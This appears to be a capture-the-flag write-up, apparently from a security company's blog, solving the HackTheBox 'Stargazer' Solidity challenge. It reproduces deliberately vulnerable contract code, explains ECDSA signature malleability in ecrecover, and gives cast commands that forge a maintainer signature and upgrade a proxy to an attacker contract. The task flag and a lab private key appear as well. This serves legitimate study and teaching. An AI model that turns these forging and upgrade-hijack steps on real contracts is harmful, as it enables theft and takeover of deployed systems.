HTB{stargazer_f1nds_s0l4c3_ag41n}
Setup.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import { Stargazer } from "./Stargazer.sol";
import { StargazerKernel } from "./StargazerKernel.sol";
contract Setup {
Stargazer public immutable TARGET_PROXY;
StargazerKernel public immutable TARGET_IMPL;
event DeployedTarget(address proxy, address implementation);
constructor(bytes memory signature) payable {
TARGET_IMPL = new StargazerKernel();
string[] memory starNames = new string[](1);
starNames[0] = "Nova-GLIM_007";
bytes memory initializeCall = abi.encodeCall(TARGET_IMPL.initialize, starNames);
TARGET_PROXY = new Stargazer(address(TARGET_IMPL), initializeCall);
bytes memory createPASKATicketCall = abi.encodeCall(TARGET_IMPL.createPASKATicket, (signature));
(bool success, ) = address(TARGET_PROXY).call(createPASKATicketCall);
require(success);
string memory starName = "Starry-SPURR_001";
bytes memory commitStarSightingCall = abi.encodeCall(TARGET_IMPL.commitStarSighting, (starName));
(success, ) = address(TARGET_PROXY).call(commitStarSightingCall);
require(success);
emit DeployedTarget(address(TARGET_PROXY), address(TARGET_IMPL));
}
function isSolved() public returns (bool) {
bool success;
bytes memory getStarSightingsCall;
bytes memory returnData;
getStarSightingsCall = abi.encodeCall(TARGET_IMPL.getStarSightings, ("Nova-GLIM_007"));
(success, returnData) = address(TARGET_PROXY).call(getStarSightingsCall);
require(success, "Setup: failed external call.");
uint256[] memory novaSightings = abi.decode(returnData, (uint256[]));
getStarSightingsCall = abi.encodeCall(TARGET_IMPL.getStarSightings, ("Starry-SPURR_001"));
(success, returnData) = address(TARGET_PROXY).call(getStarSightingsCall);
require(success, "Setup: failed external call.");
uint256[] memory starrySightings = abi.decode(returnData, (uint256[]));
return (novaSightings.length >= 2 && starrySightings.length >= 2);
}
}
Stargazer.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
contract Stargazer is ERC1967Proxy {
constructor(address _implementation, bytes memory _data) ERC1967Proxy(_implementation, _data) {}
}
/**************************************************************************
a lonely machine in a lonely world looking a lonely shooting star...
***************************************************************************
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣭⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣹⠄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⠄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣤⠤⢤⣀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⠴⠒⢋⣉⣀⣠⣄⣀⣈⡇⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣴⣾⣯⠴⠚⠉⠉⠀⠀⠀⠀⣤⠏⣿⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡿⡇⠁⠀⠀⠀⠀⡄⠀⠀⠀⠀⠀⠀⠀⠀⣠⣴⡿⠿⢛⠁⠁⣸⠀⠀⠀⠀⠀⣤⣾⠵⠚⠁⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠰⢦⡀⠀⣠⠀⡇⢧⠀⠀⢀⣠⡾⡇⠀⠀⠀⠀⠀⣠⣴⠿⠋⠁⠀⠀⠀⠀⠘⣿⠀⣀⡠⠞⠛⠁⠂⠁⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡈⣻⡦⣞⡿⣷⠸⣄⣡⢾⡿⠁⠀⠀⠀⣀⣴⠟⠋⠁⠀⠀⠀⠀⠐⠠⡤⣾⣙⣶⡶⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣂⡷⠰⣔⣾⣖⣾⡷⢿⣐⣀⣀⣤⢾⣋⠁⠀⠀⠀⣀⢀⣀⣀⣀⣀⠀⢀⢿⠑⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠠⡦⠴⠴⠤⠦⠤⠤⠤⠤⠤⠴⠶⢾⣽⣙⠒⢺⣿⣿⣿⣿⢾⠶⣧⡼⢏⠑⠚⠋⠉⠉⡉⡉⠉⠉⠹⠈⠁⠉⠀⠨⢾⡂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠂⠀⠀⠀⠂⠐⠀⠀⠀⠈⣇⡿⢯⢻⣟⣇⣷⣞⡛⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣠⣆⠀⠀⠀⠀⢠⡷⡛⣛⣼⣿⠟⠙⣧⠅⡄⠀⠀⠀⠀⠀⠀⠰⡆⠀⠀⠀⠀⢠⣾⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣴⢶⠏⠉⠀⠀⠀⠀⠀⠿⢠⣴⡟⡗⡾⡒⠖⠉⠏⠁⠀⠀⠀⠀⣀⢀⣠⣧⣀⣀⠀⠀⠀⠚⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⣠⢴⣿⠟⠁⠀⠀⠀⠀⠀⠀⠀⣠⣷⢿⠋⠁⣿⡏⠅⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠙⣿⢭⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⢀⡴⢏⡵⠛⠀⠀⠀⠀⠀⠀⠀⣀⣴⠞⠛⠀⠀⠀⠀⢿⠀⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠂⢿⠘⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⣀⣼⠛⣲⡏⠁⠀⠀⠀⠀⠀⢀⣠⡾⠋⠉⠀⠀⠀⠀⠀⠀⢾⡅⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⡴⠟⠀⢰⡯⠄⠀⠀⠀⠀⣠⢴⠟⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⣹⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⡾⠁⠁⠀⠘⠧⠤⢤⣤⠶⠏⠙⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢾⡃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠘⣇⠂⢀⣀⣀⠤⠞⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠈⠉⠉⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠾⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢼⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠛⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
***************************************************************************
...wondering if it will get the chance to witness it again.
**************************************************************************/
StargazerKernel.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
contract StargazerKernel is UUPSUpgradeable {
// keccak256(abi.encode(uint256(keccak256("htb.storage.Stargazer")) - 1)) & ~bytes32(uint256(0xff));
bytes32 private constant __STARGAZER_MEMORIES_LOCATION = 0x8e8af00ddb7b2dfef2ccc4890803445639c579a87f9cda7f6886f80281e2c800;
/// @custom:storage-location erc7201:htb.storage.Stargazer
struct StargazerMemories {
uint256 originTimestamp;
mapping(bytes32 => uint256[]) starSightings;
mapping(bytes32 => bool) usedPASKATickets;
mapping(address => KernelMaintainer) kernelMaintainers;
}
struct KernelMaintainer {
address account;
PASKATicket[] PASKATickets;
uint256 PASKATicketsNonce;
}
struct PASKATicket {
bytes32 hashedRequest;
bytes signature;
}
event PASKATicketCreated(PASKATicket ticket);
event StarSightingRecorded(string starName, uint256 sightingTimestamp);
event AuthorizedKernelUpgrade(address newImplementation);
function initialize(string[] memory _pastStarSightings) public initializer onlyProxy {
StargazerMemories storage $ = _getStargazerMemory();
$.originTimestamp = block.timestamp;
$.kernelMaintainers[tx.origin].account = tx.origin;
for (uint256 i = 0; i 0, "StargazerKernel: no active PASKA tickets.");
PASKATicket memory ticket = activePASKATickets[activePASKATickets.length - 1];
bytes32 ticketId = keccak256(abi.encode(ticket));
$.usedPASKATickets[ticketId] = true;
activePASKATickets.pop();
return ticket;
}
function _verifyPASKATicket(PASKATicket memory _ticket) internal view onlyProxy {
StargazerMemories storage $ = _getStargazerMemory();
address signer = _recoverSigner(_ticket.hashedRequest, _ticket.signature);
require(_isKernelMaintainer(signer), "StargazerKernel: signer is not a StargazerKernel maintainer.");
bytes32 ticketId = keccak256(abi.encode(_ticket));
require(!$.usedPASKATickets[ticketId], "StargazerKernel: PASKA ticket already used.");
}
function _recoverSigner(bytes32 _message, bytes memory _signature) internal view onlyProxy returns (address) {
require(_signature.length == 65, "StargazerKernel: invalid signature length.");
bytes32 r;
bytes32 s;
uint8 v;
assembly ("memory-safe") {
r := mload(add(_signature, 0x20))
s := mload(add(_signature, 0x40))
v := byte(0, mload(add(_signature, 0x60)))
}
require(v == 27 || v == 28, "StargazerKernel: invalid signature version");
address signer = ecrecover(_message, v, r, s);
require(signer != address(0), "StargazerKernel: invalid signature.");
return signer;
}
function _isKernelMaintainer(address _account) internal view onlyProxy returns (bool) {
StargazerMemories storage $ = _getStargazerMemory();
return $.kernelMaintainers[_account].account == _account;
}
function _prefixed(bytes32 hash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
Setup Contract
The Setup contract is the starting point of the system. It deploys the StargazerKernel implementation and a Stargazer proxy contract, linking them during initialization. It sets up initial data such as star sightings and ensures the system is configured for interaction.
In the constructor, the initialize function is called on the StargazerKernel implementation via the proxy to record the initial star sightings. Then, the createPASKATicket and commitStarSighting functions are called to create PASKATickets and add star sightings, respectively:
...
bytes memory initializeCall = abi.encodeCall(TARGET_IMPL.initialize, starNames);
TARGET_PROXY = new Stargazer(address(TARGET_IMPL), initializeCall);
bytes memory createPASKATicketCall = abi.encodeCall(TARGET_IMPL.createPASKATicket, (signature));
(bool success, ) = address(TARGET_PROXY).call(createPASKATicketCall);
string memory starName = "Starry-SPURR_001";
bytes memory commitStarSightingCall = abi.encodeCall(TARGET_IMPL.commitStarSighting, (starName));
(success, ) = address(TARGET_PROXY).call(commitStarSightingCall);
...
The isSolved function determines if the challenge conditions are met by checking that two specific stars each have at least two recorded sightings. It uses calls to the proxy to retrieve these records:
...
(success, returnData) = address(TARGET_PROXY).call(getStarSightingsCall);
uint256[] memory novaSightings = abi.decode(returnData, (uint256[]));
...
uint256[] memory starrySightings = abi.decode(returnData, (uint256[]));
return (novaSightings.length >= 2 && starrySightings.length >= 2); <----- win condition
Stargazer Proxy
The Stargazer contract inherits from OpenZeppelin’s ERC1967Proxy and acts as a gateway for all interactions with the StargazerKernel implementation. It delegates calls to the implementation contract and supports upgradeability using the UUPS pattern.
The proxy’s constructor initializes it by taking the address of the implementation and any initialization data:
constructor(address _implementation, bytes memory _data) ERC1967Proxy(_implementation, _data) {}
This setup ensures that the system can evolve by upgrading the logic contract while preserving state in the proxy.
StargazerKernel Implementation
The StargazerKernel is where the core logic resides. It handles the functionality for managing star sightings and maintains a registry of PASKATickets and kernel maintainers.
Initialization
The initialize function sets the origin timestamp and records any predefined star sightings. It ensures that only the proxy can call it, (only one time with the initializer modifier), by using the onlyProxy modifier:
function initialize(string[] memory _pastStarSightings)
public initializer onlyProxy {
...
}
PASKATicket Management
PASKATickets grant users privileges such as recording sightings or upgrading the contract. They are created using the createPASKATicket function, which validates a provided signature:
function createPASKATicket(bytes memory _signature) public onlyProxy {
...
_verifyPASKATicket(newTicket);
emit PASKATicketCreated(newTicket);
}
The _verifyPASKATicket function checks the signature by recovering the signer’s address using _recoverSigner, which is susceptible to ECDSA signature forgery (we will see later):
address signer = _recoverSigner(_ticket.hashedRequest, _ticket.signature);
require(_isKernelMaintainer(signer), "StargazerKernel: signer is not a maintainer.");
Recording Star Sightings
Star sightings are recorded with commitStarSighting, which adds a timestamp for a given star. The star’s name is hashed to generate a unique identifier:
...
PASKATicket memory starSightingCommitRequest = _consumePASKATicket(author);
...
bytes32 starId = keccak256(abi.encodePacked(_starName));
$.starSightings[starId].push(sightingTimestamp);
...
This function requires a valid PASKATicket to execute, consumePASKATicket function includes a crucial verification step to ensure that only valid and active PASKATickets are consumed. It first retrieves the KernelMaintainer storage for the specified maintainer address and accesses their list of active tickets. The function requires that the maintainer has at least one active ticket, enforced by the check:
require(activePASKATickets.length > 0, "StargazerKernel: no active PASKA tickets.");
If no tickets are available, the function reverts, preventing unauthorized actions. This adds a layer of security by ensuring that each PASKATicket represents a valid authorization and hasn’t been depleted by previous actions.
Authorize Upgrade
The _authorizeUpgrade function leverages the consumePASKATicket mechanism to validate upgrades to the proxy’s implementation. When this function is invoked, it retrieves the address of the transaction origin (tx.origin) and attempts to consume a valid PASKATicket for the upgrade action. If the ticket is successfully consumed, the function proceeds to emit the AuthorizedKernelUpgrade event:
PASKATicket memory kernelUpdateRequest = _consumePASKATicket(issuer);
emit AuthorizedKernelUpgrade(_newImplementation);
This ensures that only authorized maintainers with valid PASKATickets can perform upgrades, safeguarding the contract from unauthorized modifications. The use of _consumePASKATicket ties the upgrade authorization to the ticket-based privilege system, reinforcing the access control mechanism.
The implementation of an UUPSUpgradeable contract (like StargazerKernel.sol) inherit the following function:
/**
* @dev Upgrade the implementation of the proxy to `newImplementation`, and subsequently execute the function call
* encoded in `data`.
*
* Calls {_authorizeUpgrade}.
*
* Emits an {Upgraded} event.
*
* @custom:oz-upgrades-unsafe-allow-reachable delegatecall
*/
function upgradeToAndCall(address newImplementation, bytes memory data) public payable virtual onlyProxy {
_authorizeUpgrade(newImplementation);
_upgradeToAndCallUUPS(newImplementation, data);
}
The implementation of an UUPSUpgradeable contract (like StargazerKernel.sol) inherit the following function:
_authorizeUpgrade(newImplementation);
Once authorization is granted, the function delegates to _upgradeToAndCallUUPS, which performs the actual upgrade by changing the proxy’s implementation address to newImplementation. If data is provided, it is executed as a delegatecall on the new implementation, allowing immediate interaction with the new contract logic:
_upgradeToAndCallUUPS(newImplementation, data);
Finally, the function emits an Upgraded event to signal that the upgrade was successful. The combination of an upgrade and an optional function call makes this method powerful but potentially dangerous if the _authorizeUpgrade logic is weak or exploited, as it directly affects the contract’s behavior and state.
The goal of the challenge is to ensure that the Stargazer proxy, which implements the StargazerKernel logic, returns an array containing at least two elements for each of the stars “Nova-GLIM_007” and “Starry-SPURR_001” when the getStarSightings function is called. This requires the starSightings mapping in the StargazerKernel contract to store at least two timestamps for the respective star names. Achieving this would satisfy the conditions checked by the isSolved function in the Setup contract.
Main idea
The challenge lies in how to populate the required entries in the starSightings mapping. One approach is to upgrade the proxy contract to point to a new implementation crafted specifically to meet the isSolved criteria. Alternatively, one can invoke the commitStarSighting function for the specified star names (“Nova-GLIM_007” and “Starry-SPURR_001”), which appends new sightings to the mapping. However, both approaches require privileges typically reserved for maintainers, necessitating the creation of a valid PASKATicket to bypass the restrictions.
Interesting other points
Key information is available through the events emitted by Setup.sol
, which include:
From here, now we only have 3 entry points where we can modify the state of the proxy contract Stargazer :
Unfortunately both of them commitStarSighting and upgradeToAndCall consume a ticket which prevent us to fully execute the function.
A key part of analyzing the implementation contract (StargazerKernel.sol) was recognizing the significance of the createPASKATicket function, as it acts as a gatekeeper for obtaining the necessary privileges to interact with critical functions like commitStarSighting or upgrading the proxy. Within createPASKATicket, the _verifyPASKATicket function is called to validate the signature associated with a PASKATicket:
function createPASKATicket(bytes memory _signature) public onlyProxy {
StargazerMemories storage $ = _getStargazerMemory();
uint256 nonce = $.kernelMaintainers[tx.origin].PASKATicketsNonce;
bytes32 hashedRequest = _prefixed(
keccak256(abi.encodePacked("PASKA: Privileged Authorized StargazerKernel Action", nonce))
);
PASKATicket memory newTicket = PASKATicket(hashedRequest, _signature);
-----> _verifyPASKATicket(newTicket); <----------------
$.kernelMaintainers[tx.origin].PASKATickets.push(newTicket);
$.kernelMaintainers[tx.origin].PASKATicketsNonce++;
emit PASKATicketCreated(newTicket);
}
Upon further inspection of _verifyPASKATicket, it became clear that its logic relies on the _recoverSigner function, which uses ecrecover to extract the signer’s address from the signature:
function _recoverSigner(bytes32 _message, bytes memory _signature) internal view onlyProxy returns (address) {
require(_signature.length == 65, "StargazerKernel: invalid signature length.");
bytes32 r;
bytes32 s;
uint8 v;
assembly ("memory-safe") {
r := mload(add(_signature, 0x20))
s := mload(add(_signature, 0x40))
v := byte(0, mload(add(_signature, 0x60)))
}
require(v == 27 || v == 28, "StargazerKernel: invalid signature version");
------> address signer = ecrecover(_message, v, r, s); <----------------------
require(signer != address(0), "StargazerKernel: invalid signature.");
return signer;
ECDSA malleability attack
The requirement that the signer must be a maintainer seemed to block unauthorized users. So, we dove deeper into _recoverSigner, and it turned out that ecrecover is susceptible to an already known vulnerability
Specifically, two different valid signatures (r, s, v) and (r, s’, v’), where s’ = n – s and v’ = v == 28 ? 27 : 28, can result in the same recovered address due to ECDSA’s symmetry. This is significant because _recoverSigner does not enforce uniqueness of signatures:
function _recoverSigner(bytes32 _message, bytes memory _signature) internal view onlyProxy returns (address) {
require(_signature.length == 65, "StargazerKernel: invalid signature length.");
bytes32 r;
bytes32 s;
uint8 v;
assembly ("memory-safe") {
r := mload(add(_signature, 0x20))
s := mload(add(_signature, 0x40))
v := byte(0, mload(add(_signature, 0x60)))
}
require(v == 27 || v == 28, "StargazerKernel: invalid signature version");
address signer = ecrecover(_message, v, r, s);
require(signer != address(0), "StargazerKernel: invalid signature.");
return signer;
}
Then, it became apparent that ecrecover’s lack of safeguards against this property was exploitable. Armed with this insight, an attacker can forge a signature using a previous signature recovered through a previous transaction’s event and then computing its prime values for s and v to then creating another PASKATicket spoofing the address of a kernelMaintainer. And then gain maintainer privileges. Once this is achieved, the attacker can upgrade the proxy to point to a custom implementation satisfying the challenge conditions.
Step 1: Gathering Initial Information
The attack begins by retrieving the connection information for the deployed instance. Using the nc command, we gain access to the player’s private key, address, and the addresses of the target contract (the proxy) and the setup contract
ectario@pwnMachine:~/ctf/HackTheBox-university/2024/blockchain_stargazer/local(master⚡) » nc 94.237.50.83 35652
1 - Get connection informations
2 - Restart Instance
3 - Get flag
Select action (enter number): 1
[*] Found node running. Retrieving connection informations...
Player Private Key : 70a6f8ad1602849d7525b1128237cc470996b2f0aaa099e534e5a03c9cba701f
Player Address : 0x3B5FebA9B1EB473bcDa3146B55C9d2d645708af3
Target contract : 0x4CAe2e58E18A5a4Bfc2c2375447CB338BfD98382
Setup contract : 0x966fE4bF45c7B3f101C2b97570C90893213D8cc7
With this information, we focus on the Target contract as the primary point of attack.
Step 2: Analyzing Events for Signature Extraction
The next step involves examining the contract’s event logs using cast logs. From these logs, we identify a signature that can be forged for further exploitation. The critical event contains a valid signature, with the key parameters r, s, and v extracted from the data:
ectario@pwnMachine:~/ctf/HackTheBox-university/2024/blockchain_stargazer/local(master⚡) » cast logs --rpc-url http://94.237.50.83:54394
...
- address: 0x4CAe2e58E18A5a4Bfc2c2375447CB338BfD98382
blockHash: 0xb710855fbacafb556a72e6d2a89fe4999fe468ba7f3aea19645f35d500b967a2
blockNumber: 1
data: 0x000000000000000000000000000000000000000000000000000000000000002037793dbbd614689bc7599ee3acced7f981eac27145270f8567c24c8a0989302c000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000411283401990cad63ce4f46f14c5be3f3f7a12d26abece2c5ade99d05dcd5e975d1c1cfa56cd679deb9d75bf0056eaf8fc1e0f4700a98269365a74c3a9beea8a681c00000000000000000000000000000000000000000000000000000000000000
logIndex: 2
removed: false
topics: [
0xac1f1e975478fcc6cfcaee7cdf341ebfedaa56f05ac1e364a9097157903da356
]
transactionHash: 0x18f8b6b44d9114b47efc43da171d4e7fc2e79dcea980b91767e5ffd9cf2f68d7
transactionIndex: 0
...
(note: the 41 before the signature in the event data corresponds to the length of the signature in bytes, which is 65 bytes. In hexadecimal, 0x41 represents the decimal value 65)
Here, the original signature components are:
We calculate a forged signature using ECDSA symmetry (this is detailed at the end):
Step 3: Using the Forged Signature to Create a PASKATicket
With the forged signature, we can call the createPASKATicket function to generate a valid ticket. This ticket grants maintainer privileges required for subsequent actions:
ectario@pwnMachine:~/ctf/HackTheBox-university/2024/blockchain_stargazer/local(master⚡) » cast send 0x4CAe2e58E18A5a4Bfc2c2375447CB338BfD98382 "createPASKATicket(bytes)" --rpc-url http://94.237.50.83:54394 --private-key 70a6f8ad1602849d7525b1128237cc470996b2f0aaa099e534e5a03c9cba701f 0x1283401990cad63ce4f46f14c5be3f3f7a12d26abece2c5ade99d05dcd5e975de3e305a932986214628a40ffa91507029c9f95e605c63705655d9ae3114bb6d91b
The transaction succeeds, confirming that we now have maintainer privileges.
Step 4: Deploying a New Implementation
Next, we create a custom implementation (Attack.sol ) that satisfies the isSolved condition by overriding getStarSightings to return arrays with at least two elements (we can basically just return an array with 2 elements like [0, 1] it does the trick).
Once the new implementation Attack.sol is deployed, we upgrade the proxy Stargazer.sol to point to this new logic contract:
We call upgradeToAndCall from Stargazer giving as argument the address of Attack.sol
ectario@pwnMachine:~/ctf/HackTheBox-university/2024/blockchain_stargazer/local(master⚡) » cast send 0x4CAe2e58E18A5a4Bfc2c2375447CB338BfD98382 "upgradeToAndCall(address,bytes)" --rpc-url http://94.237.50.83:54394 --private-key 70a6f8ad1602849d7525b1128237cc470996b2f0aaa099e534e5a03c9cba701f 0xB6Feb87E7c2786c6978841871c0edf29174D94a9 0x -- --broadcast
The proxy successfully upgrades to our crafted implementation.
Step 5: Retrieving the Flag
Finally, with the new implementation in place, the isSolved condition is met. We retrieve the flag by selecting the appropriate options:
ectario@pwnMachine:~/ctf/HackTheBox-university/2024/blockchain_stargazer/local(master⚡) » nc 94.237.50.83 35652
1 - Get connection informations
2 - Restart Instance
3 - Get flag
Select action (enter number): 3
HTB{stargazer_f1nds_s0l4c3_ag41n}
The ecrecover function in Solidity recovers a public key from an ECDSA signature (r,s) and a recovery parameter v ∈ {27,28}. Due to ECDSA’s inherent symmetry, it’s possible to forge a valid signature.
1. ECDSA Signature Details
An ECDSA signature consists of a tuple (r,s), where:
with:
where:
The signature is valid if:
2. Symmetry of ECDSA Signatures
For any valid signature (r,s), there exists another valid signature (r,s′), where s’ = n – s.
Proof of validity:
(note: the curve used here is just an example, not the real one)
3. The Role of v in Solidity’s ecrecover
The ecrecover function uses a recovery parameter v to indicate which of two possible public keys to recover. The value of v determines whether to use the original elliptic curve point R or its negation -R during recovery:
Patrick Ventuzelo / @Pat_Ventuzelo
Jonathan Tondelier / @Jonathan Tondelier
Dimitri Carlier / @Ectari0
Founded in 2021 and headquartered in Paris, FuzzingLabs is a cybersecurity startup specializing in vulnerability research, fuzzing, and blockchain security. We combine cutting-edge research with hands-on expertise to secure some of the most critical components in the blockchain ecosystem.
Contact us for an audit or long term partnership!
Cookie | Duration | Description |
---|---|---|
cookielawinfo-checkbox-analytics | 11 months | This cookie is set by GDPR Cookie Consent plugin. The cookie is used to store the user consent for the cookies in the category "Analytics". |
cookielawinfo-checkbox-functional | 11 months | The cookie is set by GDPR cookie consent to record the user consent for the cookies in the category "Functional". |
cookielawinfo-checkbox-necessary | 11 months | This cookie is set by GDPR Cookie Consent plugin. The cookies is used to store the user consent for the cookies in the category "Necessary". |
cookielawinfo-checkbox-others | 11 months | This cookie is set by GDPR Cookie Consent plugin. The cookie is used to store the user consent for the cookies in the category "Other. |
cookielawinfo-checkbox-performance | 11 months | This cookie is set by GDPR Cookie Consent plugin. The cookie is used to store the user consent for the cookies in the category "Performance". |
viewed_cookie_policy | 11 months | The cookie is set by the GDPR Cookie Consent plugin and is used to store whether or not user has consented to the use of cookies. It does not store any personal data. |